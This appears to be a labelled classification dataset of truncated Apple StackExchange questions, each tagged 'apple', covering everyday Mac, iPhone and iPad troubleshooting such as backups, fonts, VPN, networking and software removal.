altogether (ideally without removing my name)? ... ",['apple'] "Title: How to create Automator Service to change font of selected text? Body: I'm trying to create a ""Service"" in Automator that changes the font of the selected text in the frontmost app. ",['apple'] "Title: How to deploy machines with Apple IDs? Body: We have about 10 Macs at not big Digital Agency. Currently I am doing some research and preparing some deployment plan, and don't know what to do with those Apple IDs. There is no any centralised ... ",['apple'] "Title: How to set Citrix to load default Java client instead of default TS on Mac OS 10.8.2 Body: I'm trying to fix an important issue we are having with my juniper VPN. There are no issues with PC connecting to VPN from any Microsoft OS.. just with some Apple computers running OSX 10.8.2... So ... ",['apple'] "Title: I cannot install the fresh MacOSX on a new HDD - MacBook Pro 13 Body: I am trying to install the fresh MacOS X on a new HDD after HDD failure but I can partition the HDD thru the Disk Utility. I keep getting the ""unable to write to the last block of the device"" error. I ... ",['apple'] "Title: Siri: Reminder Tied to Multiple Locations Body: I've been wondering if there is a good workaround to solve the following problem with Siri. There are some stores in my area that have multiple locations, for example Walmart. I have added Walmart ... ",['apple'] "Title: Terminal Tab Title after SSH Session Body: In Mac OS X (I'm on 10.6.8, though I believe other versions are the same) ssh'ing into a remote machine changes the title of the current tab in Terminal. Annoyingly, when I disconnect from the remote ... ",['apple'] "Title: Can I store my RGE file (Entourage 2008) to an network drive? Body: Can I store my RGE file (Entourage 2008) to an network drive instead of a local folder ? ",['apple'] "Title: How to reenable Java Preferences Body: After installed JDK7, I disabled Java 1.6 in Java Preferences. Then I found the system cannot launch jars by new JDK 1.7, so I want to reenable 1.6, but I cannot relaunch preference again, it told me ... ",['apple'] "Title: Mass change a portion of a file name? Body: I have a whole bunch of files named as following (example): ADVANTE 18''8.0 PCD5'114.3 ET45 CB73.1.jpg ADVANTE 18x8.0 PCD6139.7 ET20 CB110.2.jpg ADVANTE 'A MI576B 20''8.5 PCD6'139.7 ET25 CB110.2 ... ",['apple'] "Title: How to clone user accounts via Apple Remote Desktop - Mountain Lion Body: I am trying to configure a middle school lab of 25 new iMacs running 10.8 Mountain Lion. I would have liked to have cloned them over the network, but we don't have a Mac server. Right now they are all ... ",['apple'] "Title: Printing very slow Body: Fairly recently all print jobs are very slow. It appears that each page is being sent as a separate print job. I have seen other people complain about this over quite a long period, typically on Lion. ... ",['apple'] "Title: Remove app from Location Services? Body: I've used App Cleaner which clears preference and associated files, but I can't clear it from Location Services permissions list in System Preferences > Security & Privacy > Privacy. Any idea how ... ",['apple'] "Title: Where does OS X Lion save data from my iPhone backups? Body: Where does OS X Lion save all the information it copies when making backups of my iPhone 4? Specifically, I'm looking for where my contacts, photos, music are. I can not find them in the 'Application ... ",['apple'] "Title: How can I get my MacBook to use my second hard drive for storing photos? [duplicate] Body: My disk is getting full, probably because I have so many pictures. How can I remove images and how can I specify the location where the images are stored from iOS devices such as iPhone and iPad? I ... ",['apple'] "Title: Is it possible to program an OS X screen lock? Body: I want the ability to lock my Macbook at my command. I don't want a screensaver or sleep lock. Don't you get tired of repeatedly typing in your password in all day? I don't want to wait for my ... ",['apple'] "Title: gruping albums in itunes Body: I just cant find a way to group albums, I have my albums in an external hardrive organized in folders like ""albums from when I was back in highschool"" or ""albums my dad recomended"", that sort of ... ",['apple'] "Title: Custom Local DNS entry ignored Body: I'm using dnsmasq to route requests to .lh hosts to my vagrant server currently running on 192.168.0.5 on Mac OSX 10.6. scutil --dns returns the correct resolver info: resolver #9 domain : lh ... ",['apple'] "Title: Battery specs for MacBook Pro, MacBook Air, and Retina MacBook Pro Body: I am trying to figure out if I can ship a MacBook over her to Europe via an APO box. On Apple's website it tells me the watt-hours of each model, but it doesn't say how many cells. Here are the ... ",['apple'] "Title: How to change Exchange email account settings on 50 iPhones, remotely? Body: We have the following situation. A customer of ours got re-branded and has therefore now a new domain name. On the email server (Exchange 2010) we added the new domain and for every user we created a ... ",['apple'] "Title: Did my OSX 10.8.2 computer crash or go to sleep due to inactivity? Body: I left a Java program AppMain running on my Retina MBP overnight and in the morning it looked like the program died at around 12:46am before completing. Since the program works fine when I am actively ... ",['apple'] "Title: Looking for old C compiler Body: Back in 1987 or 1988 we had a Mac network at college, these would have been either Mac Classic or Mac Plus machines. We used a C compiler on them - what C compilers were around at the time? ",['apple'] "Title: What differences are there between using the Server.app Time Machine server and simply sharing the attached backup HDD? Body: I'll get a Mac mini next week and apart from other things, I'd like to use it as a backup server via Time Machine and an external HDD. As I want to be able to access the HDD from remote anyway, I ... ",['apple'] "Title: Cannot install apps on iOS 6.1.2; can't get through the account security questions Body: I bought an iPad with retina display yesterday, and this is my first iOS device. After registering and connecting an Apple id, I tried to install some free apps. But every time I press the install ... ",['apple'] "Title: Why does the Century font in Pages '09 not include italics or bold? Body: I am using Apple Pages '09 to write a brief, where the font must but in Century. In Microsoft Word, the Century font has an italics, bold, and underline option. However, in Pages the only available ... ",['apple'] "Title: IP address on network cameras change preventing remote access Body: I have 5 network cameras on my network. I manually added settings in my Airport Extreme router for port forwarding. However the IP addresses change often, preventing remote access. Is there a way to ... ",['apple'] "Title: Can I start a named VPN connection from a shell script? Body: I'd like to start a VPN connection from a bash script. I've managed to figure out mostly how to do this with the pppd executable, but that won't work for my purposes. This VPN shows up in the network ... ",['apple'] "Title: Left Shift and Left Command combination yields only Left Command; other shift command combos work fine Body: Early 2011 15"" Macbook Pro, Lion, no external keyboard or mouse: Lately I noticed that I can't use Left Shift + Left Command together; it registers as Left Command only. The other three combinations ... ",['apple'] "Title: Difference between du and Finder file sizes Body: I was having a look at the size of libBLAS.dylib at some location in my Mac and du showed it's file size as 572K while the allocated file size (showed by Finder) was 1.4MB. I've read that the lack of ... ",['apple'] "Title: Install Linux Mint on a dual-drive MacBook Pro with Windows and OS X Body: I have a Macbook Pro 13 mid-2012. It was shipped with a 500GB HDD, to which I added an additional SSD drive (128GB). After installing my SSD in a caddy, thus replacing the optical drive, I installed a ... ",['apple'] "Title: How do I reinstall the OS when buying a MacBook Pro since no install media was delivered to me? Body: I just bought a refurbished MacBook (through a reputable retailer) and 3rd party external drive for Time Machine backups. There are no install discs and my concern is that after the warranty ends (90 ... ",['apple'] "Title: Specification of MagSafe power adapter coaxial cable? Body: Does anyone know what type/specification of coaxial cable is used from the transformer brick to the MagSafe connector in the A1343 power supply? The cable from my 85W MagSafe power adapter to my MBP ... ",['apple'] "Title: Automator turning well-aligned PDF documents upside-down, flipped — unreadable in OSX? Body: I have PDFs that are readable. When I combine the PDFs, the pages go randomly up-side-down and left-and-right. I have fixed this issue manually in Preview app but I would like to get the pages as ... ",['apple'] "Title: Aperture and Rosetta problem Body: I've had to buy an older Intel Core Duo Macbook to replace a stolen one. I've installed Aperture 2.1 from an old disc. It won't open, I get a message saying something like: ""You can't use this version ... ",['apple'] "Title: Duplicate launchpad icons where can I find the apps ? Body: I have this strange behavior on Mac OS X Mountain Lion when I installed OpenSceneGraph. Please How to fix it ? I have duplicate icons on the launchpad. I 've tried the following solution : How Do I ... ",['apple'] "Title: Removed Movies folder, now want it back Body: That's it. I typed rm -r ~/Movies in the Terminal and entered the root password. Now I want to get this nice-looking Movies folder with a corresponding icon back to my home folder. Folder was ... ",['apple'] "Title: How to add localised holidays to iCal Body: How can I add a localised holiday calendar to iCal? I would like to add all public holidays to iCal/iCloud, how to best do this? (Personally I'm after the Norwegian and Australian Holidays, but I'm ... ",['apple'] "Title: Running filemaker pro 6 on an Intel-based Macbook Pro? Body: Recently moved my wife's content and settings from a white Macbook to an Intel-based Macbook pro. So when I went to open her contacts database created in Filemaker Pro 6, no dice, since that is a ... ",['apple'] "Title: SystemUIServer and other processes crash repeatedly on login Body: I don't know what I did wrong (it could have been related to rebuilding the Launch Services database), but yesterday after I restarted, multiple processes (like SystemUIServer, NotificationCenter, ... ",['apple'] "Title: Recovering a locked iPod Touch Body: My kid has an iPod touch that has locked from too many attempts to enter the passcode for 22 million seconds. He did this before and I connected to iTunes and it successfully unlocked it. However, I ... ",['apple'] "Title: What does (MM) mean in the iPad model lineup? Body: While looking at iPad models, I notice several showing as (MM). In particular, the 4th generation iPad mini with Cellular has models A1454 and A1455 with the latter being labeled (MM). The same ... ",['apple'] "Title: Mac Terminal support for multiple fonts Body: I was trying to get emacs minimap to work on the terminal - http://www.emacswiki.org/emacs/MiniMap However, the font is the same size as the rest of the screen, which makes it pretty useless. It ... ",['apple'] "Title: How come Dropbox gets an icon in Finder sidebar? Body: How come Dropbox gets a non-generic icon in Finder's sidebar, when other directories like Google Drive and Sites (native in OS X before Lion) all have the same generic one? How can I customise the ... ",['apple'] "Title: Does a Mac installation have an identifier Body: I wanted to know if a Mac installation has an identifier with which apple could theoretically identify the machine? More concretely I am wondering if I clone an installation of for example snow ... ",['apple'] "Title: Backing up individual files with encryption Body: In addition to local Time Machine backups, I would like to automatically backup my working data from my Macbook to a remote FTP space. Because it's a location I don't control and sensitive data, I ... ",['apple'] "Title: MacBookPro trackpad is on crack! Body: It's as if an alien entity has commandeered the trackpad, and it highlights things when it has not been asked to do so; the mouse jumps erratically all over the place, AND opens up random windows ... ",['apple'] "Title: software kvm for osx / windows Body: I have a dell 27"" monitor with the dvi input connected to my windows machine and the display port connected to my macbook air. I can change the input manually but it's fairly tedious. I'm looking ... ",['apple'] "Title: Directory contents not updating for external clients Body: We have a series of directories that various applications use for keeping track of assets (graphics). Some of these systems copy these assets into the directories (either via an NFS mount or an AFP ... ",['apple'] "Title: RetinaPad equivalent for MacBook Pro Retina? Body: Is there anything like RetinaPad for the MacBook Pro Retina? Essentially, it would be something that would automate the process of setting NSHighResolutionCapable to true so that text would render ... ",['apple'] "Title: Video card issues or Software Issue? Body: Purchased an MBP in 2010, very happy with it. Just recently I started using and external monitor(closed the lid on the MBP) and now I get screen issues like the ones in the picture below. Is having it ... ",['apple'] "Title: Where are OS X document versions stored? Are they secure? Body: Support for OS X versioning is spreading among apps (e.g., TextWrangler has just added this feature as of version 4.5), but it is unclear what the security implications of this are. For example, if I ... ",['apple'] "Title: MobileSibstrate crashes my phone app Body: My iPhone 4 (JB, 6.1) lost its dialing capabilities. Whenever I started my phone app it crashed. No problem receiving calls. I followed a tip on the net and uninstalled MobileSubstrate. The problem ... ",['apple'] "Title: Presentation as iPad Application? Body: I am thinking of making use of iPad to show customers a dynamic presentation. Customers will have access to an iPad for it and I won't take part on it, so more than a presentation it will act like an ... ",['apple'] "Title: Unable to uncheck the “Encrypt Backup” box, in iTunes 11 Body: I am running iTunes 11, and have just plugged in my iPad 2 (running iOS 6.1.2) in. I would like my back-ups to be unencrypted, but I can't uncheck the check box that would allow me to, as you can see ... ",['apple'] "Title: Buying an used iPhone 5 - how do you make sure it is in top notch condition? Body: Is there a battery of tests I can make, in order to evaluate battery life, if calculations per second are all normal, signal reception... etc.? Basically, just to test the condition of the phone. ",['apple'] "Title: Something has been wrong with my finder and Mac. How to fix? Body: Finder is often unresponsive. Also in many software, like xcode or any project. I used to be able to right click and select open in Finder. Now if I do that nothing happen. Zip utility is much ... ",['apple'] "Title: Exporting a Windows Group in terminal makes redundantly named Windows Groups Body: OK, so I've made several Windows Groups and experimented making some open with an automatically executing command (and some that don't). My problem is that once I store such a 'group' as a clickable ... ",['apple'] "Title: What is causing this sound on my Mac? Body: For several weeks now, my friend’s MacBook has been plagued by this sound, randomly occurring while running: http://c.abr.vg/321r2Q3Y2W0J We’ve never been able to reproduce it, and it has persisted ... ",['apple'] "Title: Dragging an email with attachment to another mailbox looses attachment Body: I was dragging an email message in Mail.app and intended to drag it to another folder. I accidentally went too far and then I was dragging an icon around the Dashboard. when I went back to Mail.app, ... ",['apple'] "Title: Can the Mac OS X nfsd be configured to listen only on a particular interface? Body: I'd like to configure the NFS Daemon in Mac OS X Mountain Lion such that it listens only to a particular interface. Is that possible or do I have to use firewall rules to accomplish this? ",['apple'] "Title: Plist in /System/Library/LaunchAgents not loading on reboot Body: I have created the plist and placed it in /System/Library/LaunchAgents/. However, when I reboot my Mac it does not load like it is expected to. I am able to load it from the Terminal with launchctl ... ",['apple'] "Title: Downloads folder removed from the bottom Body: I have a new mac (purchased about 3 months ago). Somehow the downloads folder isn't pinned to the bottom anymore (I didn't delete the folder, I somehow moved it). I tried minimizing the folder and ... ",['apple'] "Title: How safe is it (and what precautions should I take) if I want to transport my Macbook from class to class? Body: So, last week my hard drive died. I took it to a repair shop, and the person said the hard drive died. I asked why, and he says it just happens (even though my Macbook Pro is only 1.5 years old). ... ",['apple'] "Title: Are there Output-Only Bluetooth Adapters? Body: I have a 1/8th"" line-in jack in my car, so it is easy to plug in arbitrary devices, but would rather have the ability to just press play when I get in my car and not bother with cables. In order to ... ",['apple'] "Title: Access iPad data usage log with dates? Body: I have an iPad running iOS 5 (can't recall what subversion) and have a dispute with my carrier regarding the volume of data usage. I know I can get the total volume through Settings->General->Usage, ... ",['apple'] "Title: No signal, external VGA monitor -> VGA / DVI converter -> rMBP Body: I've bought this cheapy DVI <-> Mini Display cable, to connect my dust-gathering Acer AL1916. Also I have a VGA -> DVI converter I used to use for my previous PC and the Acer screen. To clarify, ... ",['apple'] "Title: Restoring a new iPhone via iCloud post-setup? Body: I am trying to restore my new iPhone with the data from my old iPhone via iCloud. I have tried to follow this tutorial, but unfortunately I cannot connect to wifi during the setup process (my wifi ... ",['apple'] "Title: Gris virtual desktops on OSX lion Body: having to work on a mac and used to Linux like virtual desktops I quickly activated surfaces to get my usual workspace on. Thing is, I recently had to upgrade to OSX lion in order to get XCode and ... ",['apple'] "Title: No new mail notification at apple mail dock icon when rules apply Body: I've set a rule in apple mail. It's very simple. If a specific individual sends me mail it moves it directly to the destination folder. The problem is that it does not notify me that a mail arrived! ... ",['apple'] "Title: How to cleanly remove Homebrew Body: How can I cleanly remove Homebrew. I might have a faulty older installation, and I'd like to have a fresh start. ",['apple'] "Title: Restore 10.8.2 to original developer settings Body: So I am at a point in a rabbit hole of troubleshooting programming problems (a lot of it seems to involve my gcc and fortran compilers, but I have long lists of libraries interfering with one another) ... ",['apple'] "Title: Would a late 2008 MacBook run with 8 GB or RAM if correctly purchased? Body: We've got a late 2008 MacBook (already upgraded to 4GB RAM), it's fine -speed wise, but when checking the activity monitor were very close to running out of space -RAM wise. What I would like to do ... ",['apple'] "Title: How do you select multiple specific files? Body: Say I've got 5 files, and I'd like to select just two of them. In Windows I would select file 1, then press Control, and then click file 5. How could this be done in Mac Os X? ",['apple'] "Title: Notification area icons are sometimes invisible in Windows 7 (Boot Camp) Body: For some reason, sometimes my notification area icons are invisible in Windows 7 64-bit (Boot Camp, on an iMac mid-2010), as seen in this screenshot. Clicking on an invisible item does nothing. ... ",['apple'] "Title: iTunes downloads through manager Body: When I download iTunes apps, music, etc.. content, the download speed fluctuates a lot and usually falls to around 64kbps. This is very impractical and time-consuming. Whereas, if I download other ... ",['apple'] "Title: Is the Guest account a security risk with full disk encryption on Mountain Lion? Body: I have File Vault 2 full-disk encryption enabled on my 2012 MacBook Air running Mountain Lion. By default it also has a ""Guest"" Safari-only account available. I just tried it the other day and found ... ",['apple'] "Title: How to diagnose long start up Body: My Macbook Pro (OSX 10.8.2) is taking a long time to settle down after booting. I am guessing there are some background processes/apps that are taking a while to start and hogging resources. What is ... ",['apple'] "Title: How to set Mail.app to always open URL's in the external browser in the background? Body: I'm on Mountain Lion and in Apple Mail whenever I click a link in an email it opens my browser in front of Mail. I'd like to keep reading the email and open all links behind Mail, then switch to my ... ",['apple'] "Title: PC keyboard inccorect mapping Body: I've recently been forced to work on a mac book for work. Since I'm a dev I bring my own keyboard rather than just using the macbook one, I had no problem with plugin my keyboard but the mapping are ... ",['apple'] "Title: How can I modify an existing FAT partition without losing its data? Body: I have a 1tb hard drive. Long a go I split it it into two partitions. One I left as a Mac OS extended (journaled) with 990GB and one as FAT with 10GB. Now I would like to add about 100GB to the FAT ... ",['apple'] "Title: How can I sync history of Safari? Body: Question is in the header. I know that Google Chrome stores his history in sqlite database, and there's impossible to sync Chrome's history. Can I do this with Safari? I didn't find this option. ",['apple'] "Title: Does the VT-d feature on the i7 have measurable VM gains over the i5 on 2013 RMBP? Body: Some days ago Apple refreshed the MacBooks pro and I'm looking for either well sourced reviews of the hardware capabilities between the models or real world experience to help me value the increased ... ",['apple'] "Title: There is a problem with your iPod Body: Tried connecting my iTouch version 3.1.3 to iTunes but itunes gives me following error: There is a problem with your iPod. ",['apple'] "Title: Cellular data not working after software update? Body: I have updated my iphone software to 6.1 on my 3GS and now my cellular data network is not available. Can this be fixed or can I restore an earlier version again? ",['apple'] "Title: How to delete files on iMac with no menus — Your startup disk is full Body: I have an iMac with the 10.4 OSX operating system installed. When I boot the computer it prompts me with this message: ""Your startup disk is full. You need to make more space available on your disk ... ",['apple'] "Title: MAMP Pro failing to launch (mysql) Body: Issue: I try to launch MAMP Pro, enter my system password then it sits there trying to connect to MySQL. This has been running fine previously. Background: I'm running OSX v10.8.2 and Path Finder ... ",['apple'] "Title: Why is my iPad causing WiFi interference? Body: I have a 3rd gen 32GB iPad with a 3G/LTE connectivity (and the latest software) and let me be clear from the start - the WiFi is working perfectly fine for me and I've had no problems with it ... ",['apple'] "Title: Sync problem from calendar on iPhone to calendar on iMac Body: When I add an event to the calendar on the iMac it appears after sync on the calendar on the iPhone - but not the reverse. How do I get the sync to work both ways? ",['apple'] "Title: Messages shows wrong informations in the recent chats list Body: For some contacts the preview in the recent chats list shows wrong informations. When I click on the preview, I get a totally different chat in the detail view. Running Mountain Lion 10.8.2 Any ... ",['apple'] "Title: How to set up macbook 2008 to samsung led tv - sound issues Body: I have a Macbook, and the specs are: OS x 10.5.8 2.2 Ghtz Intel Core 2 Duo 2Gb 667 Mhtz DDR2 SDRAM mini-dvi out I have a Samsung LED TV with HDMI in , Component in with twin phono in I have ... ",['apple'] "Title: Add WXT Terminal to GNUplot 4.6.1 Body: My MacPorts GNUplot 4.6.1 works nicely but has no WXT terminal. Over in StackOverflow WXT terminal on OSX this was suggested: port variants gnuplot to list available variants. sudo port ... ",['apple'] "Title: Is there any way to crack a password-protected disk image? Body: I have created a .dmg file with password. Unfortunately I forgot the password and I my Google searches have not resulted in a way to reset the password of this .dmg file. Please help me find a ... ",['apple'] "Title: iPad 3 - when I click on the email icon, it quickly pulls up the email but then it disappears! Body: I click on the email icon as usual, but it just quickly pulls up the email and then disappears. What's going on? ",['apple'] "Title: MacBook won't read “heavy” discs Body: My MacBook's drive is typically fully functional (for most discs), but I've recently noticed that it refuses to read discs with a paint coat (such as most commercial software). What could have caused ... ",['apple'] "Title: Unreadable Windows DVD Body: I have disks burnt commercially on a windows system, which my 2010 iMac (OS X 10.8.2) refuses to read. I know the disks are correctly burnt for windows (tried them on the vendor's win machine - ... ",['apple'] "Title: Cannot change Finder's “New Finder windows open” preference; it's grayed out Body: Why am I not allowed to change any of the preferences in Finder's General preference pane, except for Spring-loaded folders? I am allowed to change any of Finder's Labels, Sidebar, or Advanced ... ",['apple'] "Title: Determine geolocation in shell / Terminal on OS X 10.5 Body: Is there a way to determine geolocation in shell / Terminal on OS X 10.5? There's another question, Is there a way to access a Mac's geolocation from terminal? (Mountain Lion), but it seems to ... ",['apple'] "Title: Apps that were open when I restart still open on startup even though I disabled that? [duplicate] Body: I'm on an iMac mid-2010 with OS X Mountain Lion. I disabled the feature that reopens windows the next time I startup my computer after a restart, but for some reason the windows that I had open when ... ",['apple'] "Title: Factory unlocking an iPhone? Body: I'm interested in factory unlocking my iPhone 5 so I can use it world wide when I travel. I've found a few websites like: http://www.unlockaniphone.org/ but I'm very cautious of the few blog posts ... ",['apple'] "Title: Garageband: Error while trying to synchronize Audio and MIDI Body: Could anyone help me, i getting this error message Error while trying to synchronize Audio and MIDI. Sample Rate 48000 recognized Check conflict between GarageBand and external device. i heard ... ",['apple'] "Title: Change Web Sharing “Sites” folder to SkyDrive? Body: I'm building a web site. There are three Macs that I commonly use for development, depending upon my location: an iMac in San Diego, and iMac in Vegas, and a MacBook Air in all other places. As I move ... ",['apple'] "Title: How to copy message from pop-up window? Body: Is there a way to copy text message in a pop-up window like this is possible on Windows machine by making pop-up window active and then pressing CTRL+C? ",['apple'] "Title: MacBook Pro 13 inch for work Body: I have just sold my iMac 27 inches for the reason it being too big! I will avoid mentioning the reasons, but... Now that I have got the exact money to buy the new 13 inch retina one. Problem is I am ... ",['apple'] "Title: Mac shuts down automatically Body: Hi I am using MacBook 2008 model. I've installed Win XP using Bootcamp. For past few weeks I notice that when running Win XP, after few minutes (approx 15 to 20 mins), laptop gets shutdown ... ",['apple'] "Title: Apple Reverse SSH Tunnelling Issue Body: I've been trying to setup reverse SSH tunnelling from outside my network to home but I've beet getting no-where. My setup is all Apple: two Macs behind an Airport Extreme, one at x.x.x.20 listening on ... ",['apple'] "Title: Mail app always shows most recently read email Body: When I open the Mail app on my iPad the last email read is always displayed. Is it possible to change this behavior? ",['apple'] "Title: How can I restart an iPhone 4S with a broken lock button and frozen springboard? Body: My springboard has frozen and the lock button is broken (two months out of warranty and it's not classed as a hardware failure). How do I restart the phone given that I can't access any apps or ... ",['apple'] "Title: how do I open .packproj files? Body: I can't seem to run an installer with this extension. googling I find no one else with the same problem, which makes me think this is something which should be handled natively, only apparently it ... ",['apple'] "Title: Wifi problems Mac OS X 10.8.2 MacBook Pro Body: There are hundreds of threads regarding Mac OS X 10.8.2 wifi problems, but no thread is describing exactly my issue. I have a MacBook Pro 2011 with OS X 10.8.2. Since around two months I have ... ",['apple'] "Title: How to fix ESET CyberSecurity 5 not starting up after first reboot? Body: Basic problem: the latest and greatest (for mac) from ESET does not start up automatically, and even a manual start results in only a process not doing anything (though not using CPU either). ... ",['apple'] "Title: Running Growl without a user logged into a graphical session? Body: I currently have an OS X server (running 10.8.2) that has irssi installed, and is set up to send Growl notifications to my laptop when I am mentioned or have received a private message on IRC. ... ",['apple'] "Title: OSX 10.8.2 does not remember (exactly) which windows were opened the last time Body: E.g. when I close all windows of an app and restart the computer afterwards, all these windows will be re-opened. It simply does not seem to save the last state of the windows. Does anybody else ... ",['apple'] "Title: How to disable Magic Trackpad while typing? Body: Is it possible to get the external Magic Trackpad disabled automatically while I'm typing? I do get a lot of cursor movements/clicks when just touching the trackpad accidentally. ",['apple'] "Title: Will this hard drive work with my 2009 15 macbook pro unibody? Body: Western Digital WD Scorpio Black 750 GB SATA 3 GB/s 7200 RPM 16 MB Cache Internal Bulk/OEM 2.5-Inch Mobile Hard Drive i need to know if this hard drive will work with my computer? I have 8 GB of ... ",['apple'] "Title: Backup and Removal of photos from iPhoto Library Body: I have a large number of photos within iPhoto 11 and I want to backup and reduce the size of my local iPhoto library to free up disk space on my laptop. One scenario I've tried is: Show iPhoto ... ",['apple'] "Title: None of the applicatinos I tried are doing what I want [duplicate] Body: I want to actually reduce the screen brightness of my macbook BELOW the minimum. This does not seem to be possible. Nocturne, flux, shades, all do things I was not looking for. What I want is to dim ... ",['apple'] "Title: Can I safely remove /usr/bin/java from Mountain Lion 10.8.2? Body: If I do so, will something, such as a service, break? ",['apple'] "Title: Are there any global key combinations suitable or specifically reserved on OS X for user assignment? Body: I'm trying to identify an appropriate global hotkey to set in iTerm2's preferences for showing/hiding it: I'd like to avoid any conflicts with other applications' hotkeys or other future use. Are ... ",['apple'] "Title: Microsoft Outlook 2011 constantly crashing Body: I just purchased Microsoft Office 2011 for Mac last week. Outlook CONSTANTLY crashes. I have tried everything… uninstall and re install twice, rebuilding main identity. Please help! I am so frustrated ... ",['apple'] "Title: Does iOS 6.1 cellular tethering limit the number of WiFi clients? Body: I'm looking on Apple's site and can't find any published limits on how many clients can connect to one iPhone / iPad with cellular tethering enabled in the US. Setting aside the obvious limit where ... ",['apple'] "Title: Does AirDrop use up Bandwidth? Body: I recently used AirDrop for the first time to send about 30GB of videos to a friend while we were both connected to my internet. Two days later I got an e-mail from my internet provider saying I was ... ",['apple'] "Title: Force integrated graphics card on OS X 10.8 Mountain Lion when working with VMware Fusion 5.x? Body: I want to force the GPU on my 2011 MacBook Pro 15 (A1286) to remain on the integrated GPU while I run VMWare Fusion 5.x. The gfxCardStatus software doesn't work on 10.8. Is there another solution? ",['apple'] "Title: Syntax underlining not working in Sublime Text 2 Body: I'm using Sublime Text 2 build 2217 on OSX 10.8.2. Everything else works great, except I can't get underlining to work. Here's an example from my theme file: <dict> ... ",['apple'] "Title: “X11 could not be opened” then “X11 canceled restart” Body: I occasionally run into the following first-world nightmare, usually when trying to run open source software (in this case Inkscape on a Mac Pro running Lion, though I've seen this error before as ... ",['apple'] "Title: What is this text message, and how worried should I be? Body: The following text message popped up on my iPhone, and it doesn't seem to be coming from the Message app or any other apps on the phone. Obviously this is a spam. But which app is showing this ... ",['apple'] "Title: How to decode a .chm file? Body: I'd like to extract content of old .chm file into individual html files. Is there an app or command line tool for this? ",['apple'] "Title: Is there an option of liquid cooling/heatsink replacement for mid 2011 Mac Mini? Body: I'd like a quieter/more efficient cooling system but I don't know if there's anything out there for a Mac Mini. Any hardware options? ",['apple'] "Title: Does the permissions popup for Push Notification in iOS refer to both local and remote (APNs) notifications? Body: I have been racking my brain trying to understand how Push Notifications and Local Notifications are handled by iOS devices. I have come to understand that Push Notifications refer to those ... ",['apple'] "Title: Mountain Lion Installation Error Body: I was helping a friend to do a clean install on his Macbook Pro with the bootable Mountain Lion USB disk (By holding down the option key at boot up and choosing the USB Installer) but I got stuck with ... ",['apple'] "Title: How to determine the absolute path to a file in a shell script Body: I am writing a generic script that can get passed both absolute and relative (to the current working dir) paths to existing files. I need a fail-safe way to turn all those passed paths into absolute ... ",['apple'] "Title: What is installed with Java 7? Body: Inspired by this question on Stackoverflow, I noticed that my Java control panel reports that I have the latest version of Java installed (and I know that, because Safari is not blocking the plugin ... ",['apple'] "Title: Background changed on Mountain Lion Body: I have a Mac running Mountain Lion 10.8.2 - previously it was Snow Leopard. In the past few days I've noticed this happened: The galaxy background disappeared, and blue background replaced it. I ... ",['apple'] "Title: Managed Preferences (MCX) to stop iChat/Messages from waiting on “Files being transferred”? Body: My users, they are actually good little users, they mostly listen to the instructions to log out at the end of the day / when they're leaving their laptop on the office LAN overnight. The problem is, ... ",['apple'] "Title: Can I keep my iPhone screen off during voice navigation with Apple's Maps app? Body: I have been using voice navigation in Apple's Maps app for iOS 6. I keep the phone in one of my car's cup holders because I am mostly using it in my home area where the maps on the screen aren't ... ",['apple'] "Title: Save attachments from Mail.app based on subject Body: I have been trying to write an Applescript to help me saving attachments, but realized quickly that I do not have the knowledge to do such a difficult script. Here is some background. We receive ... ",['apple'] "Title: Suspected Places for Mac App Store Files Body: I know that Evernote has about 4 gigs of stuff in my file system. I know this because I recently switched to a non-app-store version of Evernote and it ""copied"" my files and listed them at 2GB. I ... ",['apple'] "Title: Disable Office for Mac 2011 First Use Registration Body: I'm setting up some macbooks for use in a cart for a school. Students would share the computers. When users first run any office applications, they get a window saying that they need to put in their ... ",['apple'] "Title: Need help to install mac os x [closed] Body: I have hp mini 210-2080nr booted windows 8 i have retail os x 10.6.3 copy please help to install it.I want to install it using only windows. ",['apple'] "Title: How to convert late 2008 MBA SSD Drive to external enclosure? Body: My late 2008 MBA SSD does not work in a Samsung 2.0 USB enclosure. Tried connecting to MBP and a lenovo, does not see the drive. I am looking at another enclosure from ows- USB 2.0 Enclosure For use ... ",['apple'] "Title: Some USB devices work, some don't on Macbook Body: Some older USB devices such as flash drives or mice work on my Macbook 2007 model, but newer ones are not recognized. Any ideas about the diagnosis and the cure? ",['apple'] "Title: iPhone 5 Restored - No iTunes Backup - Anyway to get data back? Body: I recently was resetting my passcode right after the i06 update and the phone went to sleep during the reset. When I turned it back on the only 2 passcodes I have ever used didn't work! The phone ... ",['apple'] "Title: Is it possible to buy a replacement iPad screen of the same quality as Apple's? Body: I've found a few companies that offer replacement iPad digitizers (the digitizer is the glass/touch screen part of your iPad), but I'm worried that they might be different to the official one. ... ",['apple'] "Title: Apple ID /Facetime account hacked? [duplicate] Body: About a week ago, we received a Facetime call from our own email address and it was a complete stranger. Then a friend of ours got a Facetime call with from our email address and they missed the ... ",['apple'] "Title: Setting the config for PHP 5.3.15 and above Body: I have PHP 5.3.15 running on my Mac (OS 10.8.2). I have Apache running with virtual hosts. Also, I've installed FreeTDS for connecting to MSSQL. I still need to configure the /php/ext/mssql to run ... ",['apple'] "Title: How to create hand-made Time Capsule Body: I've got a WiFi router (Asus) and an external HDD, connected to it by USB. The router gives access to the HDD by FTP and SMB protocol. It's working good as external storage for my MacBook Pro, but I ... ",['apple'] "Title: I want to remove an entry in my $PATH Body: I'm running OS 10.8. When I echo $PATH my terminal outputs ... ",['apple'] "Title: Intermec CK3 scanner (Bluetooth 2.0 + EDR) with iPad? Body: I have an Intermec CK3a1 handheld scanner with Bluetooth 2.0 +EDR capabilities. I also have access to iPad 3rd and 4th generation devices. I would like to use the Intermec scanner's bluetooth ... ",['apple'] "Title: Excel Mac 2011 doesn't update custom dates Body: Excel doesn't seem to update custom dates. For example, in the screenshot, the date should have a three letter day of week and a four digit year. Tried pushing enter a bunch of different ways, and ... ",['apple'] "Title: Remove all references to Parallels 7 Windows 7 VM programs Body: My system has been polluted with references to programs residing in a Windows 7 VM in Parallels 7. For example, Windows programs show up in Spotlight, and in Safari settings under General->Default ... ",['apple'] "Title: Weird screen fault Body: My iPhone 5 has recently developed a screen fault: a line going from the bottom left to the top right with other lines and / or a mold-like pattern (the photos don't exactly convey the full effect). ... ",['apple'] "Title: Smart Folder: what is the URL? Body: I added the criteria: all files whose URL contains /. I would have thought that this just matches all my files. But it doesn't list any. Why? ",['apple'] "Title: Smart Folder: what files are considered as music? Body: What files are considered as music? How can I edit that list? ",['apple'] "Title: What version of Silverlight works with the latest 10.7 release? Body: Can you install Microsoft Silverlight from microsoft.com and are you able to open the Preferences without it crashing? I'm trying to isolate this problem, and it could be a Mac problem, or a ... ",['apple'] 